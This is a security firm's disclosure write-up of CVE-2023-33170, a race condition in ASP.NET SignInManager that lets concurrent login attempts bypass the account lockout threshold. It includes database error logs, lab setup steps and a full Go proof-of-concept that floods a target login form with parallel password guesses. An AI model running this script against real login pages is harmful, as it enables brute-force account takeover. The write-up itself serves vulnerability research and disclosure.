ZX Security


Security Feature Bypass In ASP.NET and Visual Studio – Race Condition

Jack Moran, TC, and Ethan McKee-Harris discovered a security feature bypass within the SignInManger in ASP.NET.

Published on

Introduction

During an engagement, Jack Moran, with the aide of TC and Ethan McKee-Harris, discovered a security feature bypass within ASP.NET SignInManager. The SignInManager was found to be susceptible to a race condition which when exploited could allow for thousands of brute-force login attempts to be conducted before ever triggering the lockout threshold.

CVE-2023-33170 Attributions

Screenshot of MSRC Acknowledgements.

So What Happened?

During a web application pentest, Jack Moran from ZX Security found an inconsistency when attempting to credential stuff a login form. This inconsistency centred around the lockout threshold and when the application was triggering it. Further analysis indicated that the default lockout was configured for 3 invalid login attempts, however, testing showed that this was inconsistent and could far exceed the expected lockout. Initial tests at the time highlighted that the lockout triggered sporadically, sometimes ranging from 10 to 50 failed authentication attempts without the lockout triggering.

Early indications of the system highlighted the culprit to be the ASP.NET SignInManager as when this function is called it ‘Attempts to sign in the specified userName and password combination as an asynchronous operation’. With asynchronous operations, when multiple threads can access or change a shared resource a race condition can occur. When looking at the database logs it was observed that this was happening. A snippet of the database log is included below, with an error indicating that a ‘Microsoft.EntityFrameworkCore.DbUpdateConcurrencyException’ was present and that the ‘database operation failed as the data may have been modified or deleted’

  fail: Microsoft.EntityFrameworkCore.Update[10000]
    An exception occurred in the database while saving changes for context type 'WebApp.Data.ApplicationDbContext'.
    Microsoft.EntityFrameworkCore.DbUpdateConcurrencyException: The database operation was expected to affect 1 row(s), but actually affected 0 row(s); data may have been modified or deleted since entities were loaded. See http://go.microsoft.com/fwlink/?LinkId=527962 for information on understanding and handling optimistic concurrency exceptions.
      at Microsoft.EntityFrameworkCore.Update.AffectedCountModificationCommandBatch.ThrowAggregateUpdateConcurrencyExceptionAsync(RelationalDataReader reader, Int32 commandIndex, Int32 expectedRowsAffected, Int32 rowsAffected, CancellationToken cancellationToken)
      at Microsoft.EntityFrameworkCore.Update.AffectedCountModificationCommandBatch.ConsumeResultSetWithRowsAffectedOnlyAsync(Int32 commandIndex, RelationalDataReader reader, CancellationToken cancellationToken)
      at Microsoft.EntityFrameworkCore.Update.AffectedCountModificationCommandBatch.ConsumeAsync(RelationalDataReader reader, CancellationToken cancellationToken)
      at Microsoft.EntityFrameworkCore.Update.ReaderModificationCommandBatch.ExecuteAsync(IRelationalConnection connection, CancellationToken cancellationToken)
      at Microsoft.EntityFrameworkCore.Update.ReaderModificationCommandBatch.ExecuteAsync(IRelationalConnection connection, CancellationToken cancellationToken)
      at Microsoft.EntityFrameworkCore.SqlServer.Update.Internal.SqlServerModificationCommandBatch.ExecuteAsync(IRelationalConnection connection, CancellationToken cancellationToken)
      at Microsoft.EntityFrameworkCore.Update.Internal.BatchExecutor.ExecuteAsync(IEnumerable`1 commandBatches, IRelationalConnection connection, CancellationToken cancellationToken)
      at Microsoft.EntityFrameworkCore.Update.Internal.BatchExecutor.ExecuteAsync(IEnumerable`1 commandBatches, IRelationalConnection connection, CancellationToken cancellationToken)
      at Microsoft.EntityFrameworkCore.Update.Internal.BatchExecutor.ExecuteAsync(IEnumerable`1 commandBatches, IRelationalConnection connection, CancellationToken cancellationToken)
      at Microsoft.EntityFrameworkCore.ChangeTracking.Internal.StateManager.SaveChangesAsync(IList`1 entriesToSave, CancellationToken cancellationToken)
      at Microsoft.EntityFrameworkCore.ChangeTracking.Internal.StateManager.SaveChangesAsync(StateManager stateManager, Boolean acceptAllChangesOnSuccess, CancellationToken cancellationToken)
      at Microsoft.EntityFrameworkCore.SqlServer.Storage.Internal.SqlServerExecutionStrategy.ExecuteAsync[TState,TResult](TState state, Func`4 operation, Func`4 verifySucceeded, CancellationToken cancellationToken)
      at Microsoft.EntityFrameworkCore.DbContext.SaveChangesAsync(Boolean acceptAllChangesOnSuccess, CancellationToken cancellationToken)
    Microsoft.EntityFrameworkCore.DbUpdateConcurrencyException: The database operation was expected to affect 1 row(s), but actually affected 0 row(s); data may have been modified or deleted since entities were loaded. See http://go.microsoft.com/fwlink/?LinkId=527962 for information on understanding and handling optimistic concurrency exceptions.
      at Microsoft.EntityFrameworkCore.Update.AffectedCountModificationCommandBatch.ThrowAggregateUpdateConcurrencyExceptionAsync(RelationalDataReader reader, Int32 commandIndex, Int32 expectedRowsAffected, Int32 rowsAffected, CancellationToken cancellationToken)
      at Microsoft.EntityFrameworkCore.Update.AffectedCountModificationCommandBatch.ConsumeResultSetWithRowsAffectedOnlyAsync(Int32 commandIndex, RelationalDataReader reader, CancellationToken cancellationToken)
      at Microsoft.EntityFrameworkCore.Update.AffectedCountModificationCommandBatch.ConsumeAsync(RelationalDataReader reader, CancellationToken cancellationToken)
      at Microsoft.EntityFrameworkCore.Update.ReaderModificationCommandBatch.ExecuteAsync(IRelationalConnection connection, CancellationToken cancellationToken)
      at Microsoft.EntityFrameworkCore.Update.ReaderModificationCommandBatch.ExecuteAsync(IRelationalConnection connection, CancellationToken cancellationToken)
      at Microsoft.EntityFrameworkCore.SqlServer.Update.Internal.SqlServerModificationCommandBatch.ExecuteAsync(IRelationalConnection connection, CancellationToken cancellationToken)
      at Microsoft.EntityFrameworkCore.Update.Internal.BatchExecutor.ExecuteAsync(IEnumerable`1 commandBatches, IRelationalConnection connection, CancellationToken cancellationToken)
      at Microsoft.EntityFrameworkCore.Update.Internal.BatchExecutor.ExecuteAsync(IEnumerable`1 commandBatches, IRelationalConnection connection, CancellationToken cancellationToken)
      at Microsoft.EntityFrameworkCore.Update.Internal.BatchExecutor.ExecuteAsync(IEnumerable`1 commandBatches, IRelationalConnection connection, CancellationToken cancellationToken)
      at Microsoft.EntityFrameworkCore.ChangeTracking.Internal.StateManager.SaveChangesAsync(IList`1 entriesToSave, CancellationToken cancellationToken)
      at Microsoft.EntityFrameworkCore.ChangeTracking.Internal.StateManager.SaveChangesAsync(StateManager stateManager, Boolean acceptAllChangesOnSuccess, CancellationToken cancellationToken)
      at Microsoft.EntityFrameworkCore.SqlServer.Storage.Internal.SqlServerExecutionStrategy.ExecuteAsync[TState,TResult](TState state, Func`4 operation, Func`4 verifySucceeded, CancellationToken cancellationToken)
      at Microsoft.EntityFrameworkCore.DbContext.SaveChangesAsync(Boolean acceptAllChangesOnSuccess, CancellationToken cancellationToken)

These errors highlighted multiple concurrent requests are attempting to update the database, with many of these requests failing to update appropriately. This is due to the next concurrent request already modifying the database. As a result, many login attempts are performed, but the database is not modified consistently, indicating a race condition may be present allowing a user to perform a brute-force attack. Jack Moran decided to write a proof of concept to test this out locally which resulted in thousands of failed authentication requests being conducted before triggering the lockout threshould.

So You Want The PoC?

package main

import (
  "bytes"
  "encoding/base64"
  "flag"
  "fmt"
  "math/rand"
  "net/http"
  "net/url"
  "strings"
  "sync"
)

type RequestResult struct {
  UUID             int
  ResponseStatus   int
  ResponseLocation string
}

func Request(HttpClient *http.Client, UniversalResourceLocator string, HttpPayload []byte, CookieName string, CookieValue string, Data chan RequestResult, Trigger chan bool, UUID int, WaitGroup *sync.WaitGroup) {
  // Mark WaitGroup as Done When Function Exits
  defer WaitGroup.Done()

  <-Trigger

  // Create HTTPRequest and RequestError, Return if RequestError
  HttpRequest, RequestError := http.NewRequest(http.MethodPost, UniversalResourceLocator, bytes.NewBuffer(HttpPayload))
  if RequestError != nil {
    fmt.Println("Error creating request:", RequestError)
    return
  }

  // Create Cookie
  Cookie := &http.Cookie{
    Name:  CookieName,
    Value: CookieValue,
  }

  // Add HTTPHeader and HTTPCookie
  HttpRequest.Header.Set("Content-Type", "application/x-www-form-urlencoded")
  HttpRequest.AddCookie(Cookie)

  // Create HTTPResponse and ResponseError, Do HttpRequest, Return if RequestError
  HttpResponse, ResponseError := HttpClient.Do(HttpRequest)
  if ResponseError != nil {
    fmt.Println("Error making request:", ResponseError)
    return
  }
  defer HttpResponse.Body.Close()

  // Store HTTPResponse In Struct
  Result := RequestResult{
    UUID:             UUID,
    ResponseStatus:   HttpResponse.StatusCode,
    ResponseLocation: HttpResponse.Header.Get("Location"),
  }

  // Send Struct to Data Channel
  Data <- Result
}

func generateSomeBytes() string {
  // Psudo random number generator
  RandomBytes := make([]byte, 8)
  rand.Read(RandomBytes)
  return base64.StdEncoding.EncodeToString(RandomBytes)
}

func main() {
  // Define Veriables
  var NumberRequests int
  var UserName string
  var URL string
  var RequestVerificationToken string
  var CookieName string
  var CookieValue string
  var LoginFailureCount int
  var LoginLockoutCount int
  var LoginSuccessCount int
  var WaitGroup = sync.WaitGroup{}

  // Define Execution Flags
  flag.IntVar(&NumberRequests, "requests", 1, "Number of Requests")
  flag.StringVar(&UserName, "username", "", "Target Username")
  flag.StringVar(&URL, "url", "", "Target URL")
  flag.StringVar(&RequestVerificationToken, "csrf", "", "Csrf-Token")
  flag.StringVar(&CookieName, "cookiename", "", "CookieName")
  flag.StringVar(&CookieValue, "cookievalue", "", "CookieName")
  flag.Parse()

  // Create Bad and Good Credentials as Form Data Payload.
  BadCredentials := url.Values{
    "Input.Email":                {UserName},
    "Input.Password":             {generateSomeBytes()},
    "__RequestVerificationToken": {RequestVerificationToken},
  }

  GoodCredentials := url.Values{
    "Input.Email":                {UserName},
    "Input.Password":             {"APassword"},
    "__RequestVerificationToken": {RequestVerificationToken},
  }

  // Create HTTPClient, Check Redirect Is Pressent Return
  HTTPClient := &http.Client{
    CheckRedirect: func(HttpRequest *http.Request, via []*http.Request) error {
      return http.ErrUseLastResponse
    },
  }

  // Create DataChannel, TriggerChannel for GoRoutines
  var DataChannel = make(chan RequestResult, NumberRequests)
  var TriggerChannel = make(chan bool)
  var rand = rand.Intn(NumberRequests)

  WaitGroup.Add(NumberRequests)
  for i := 0; i < NumberRequests; i++ {
    if i == rand {
      go Request(HTTPClient, URL, []byte(GoodCredentials.Encode()), CookieName, CookieValue, DataChannel, TriggerChannel, i, &WaitGroup)
    } else {
      go Request(HTTPClient, URL, []byte(BadCredentials.Encode()), CookieName, CookieValue, DataChannel, TriggerChannel, i, &WaitGroup)
    }
  }
  close(TriggerChannel)

  // Mark WaitGroup as Wait for all GoRoutines to Finish
  WaitGroup.Wait()

  // Looping Through Results, Check if Login FAIL, LOCK, or PASS
  for i := 0; i < NumberRequests; i++ {
    Results := <-DataChannel

    if strings.Contains(Results.ResponseLocation, "") && Results.ResponseStatus == 200 {
      fmt.Printf("[\033[31m!\033[0m] LOGIN FAIL - Request: %d \n", Results.UUID)
      LoginFailureCount += 1
    } else if strings.Contains(Results.ResponseLocation, "/Identity/Account/Lockout") && Results.ResponseStatus == 302 {
      fmt.Printf("[\033[33m-\033[0m] LOGIN LOCK - Request: %d  \n", Results.UUID)
      LoginLockoutCount += 1
    } else if strings.Contains(Results.ResponseLocation, "/") && Results.ResponseStatus == 302 {
      fmt.Printf("[\033[32m✓\033[0m] LOGIN PASS - Request: %d \n", Results.UUID)
      LoginSuccessCount += 1
    }
  }

  // PRINTING VALUES
  fmt.Println("")
  fmt.Println("[\033[31m!\033[0m] FAIL login Count:", LoginFailureCount)
  fmt.Println("[\033[33m-\033[0m] LOCK login Count:", LoginLockoutCount)
  fmt.Println("[\033[32m✓\033[0m] PASS login Count:", LoginSuccessCount)
}

Development of Testing Environment

While the proof of concept was in development, Ethan McKee-Harris deployed a testing environment based on Microsoft’s ‘Create a Web app with authentication’ documentation. A local server and web application was set up to verify that this is not isolated to the current engagement but could be widespread in the SignInManger itself. After installing the latest version of dotnet (at the time we were testing), we generated a new web application using Microsoft’s scaffolding:

  dotnet new webapp --auth Individual -o WebApp

After creating the scaffolded web application, developers can also install templated account management with the following commands:

  cd WebApp
  dotnet tool install -g dotnet-aspnet-codegenerator
  dotnet add package Microsoft.VisualStudio.Web.CodeGeneration.Design
  dotnet aspnet-codegenerator identity -dc WebApp.Data.ApplicationDbContext --files "Account.Register;Account.Login;Account.Logout;Account.RegisterConfirmation" --databaseProvider=sqlite

Navigate to and open the file Areas/Identity/Pages/Account/Login.cshtml.cs. Change the PasswordSignInAsync method call so that lockoutOnFailure is set to true. We also need to enable account lockout, so navigate to Program.cs in the base web application directory. After the builder is defined, paste the following configuration options. This sets up the requirements to support account lockout on our test web application.

  builder.Services.Configure<IdentityOptions>(options =>
  {
      // Password settings.
      // Turn off requirements for testing purposes
      options.Password.RequireDigit = false;
      options.Password.RequireLowercase = false;
      options.Password.RequireNonAlphanumeric = false;
      options.Password.RequireUppercase = false;
      options.Password.RequiredLength = 6;
      options.Password.RequiredUniqueChars = 1;

      // Lockout settings.
      options.Lockout.DefaultLockoutTimeSpan = TimeSpan.FromMinutes(5);
      options.Lockout.MaxFailedAccessAttempts = 5;
      options.Lockout.AllowedForNewUsers = true;

      // User settings.
      options.User.AllowedUserNameCharacters =
      "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789-._@+";
      options.User.RequireUniqueEmail = false;
  });

  builder.Services.ConfigureApplicationCookie(options =>
  {
      // Cookie settings
      options.Cookie.HttpOnly = true;
      options.ExpireTimeSpan = TimeSpan.FromMinutes(5);

      options.LoginPath = "/Identity/Account/Login";
      options.AccessDeniedPath = "/Identity/Account/AccessDenied";
      options.SlidingExpiration = true;
  });

Further to this, if you wish to conduct testing from non-local IP addresses, add the following config to appsettings.json in order to expose the web application to all IP addresses.

  "Kestrel": {
      "EndPoints": {
        "Http": {
          "Url": "http://0.0.0.0:5010"
        }
      }
    }

Then to run the application, simply use dotnet run on the command line.

Throughout the disclosure process, Microsoft have been exceedingly helpful. Working within the bounds of the Microsoft Security Researcher Center (MSRC) disclosure policy, they were quick to confirm the issue and work with ZX Security to navigate the vulnerability through the various stages, resulting in a patch that resolves the issues.

Vulnerability Disclosure Timeline (NZST):

  • 03/03/2023 - Discovered a race condition in ASP.NET Core SignInManager
  • 07/03/2023 - Submission of vulnerability to Microsoft Security Research Center for review
  • 08/03/2023 - MSRC: Case Number Assigned, Stage - New
  • 08/03/2023 - MSRC: Vulnerability Being Reviewed, Stage - Review/Reproduce
  • 07/04/2023 - MSRC: Vulnerability Confirmed, Stage - Develop
  • 18/05/2023 - MSRC: Vulnerability Disclosure Extension Request
  • 26/05/2023 - MSRC: Vulnerability Severity Rating Important (High), Stage - Develop
  • 12/07/2023 - MSRC: Vulnerability Fixed, Stage - PreRelease
  • 12/07/2023 - MSRC: Vulnerability Fixed, Stage - Complete

References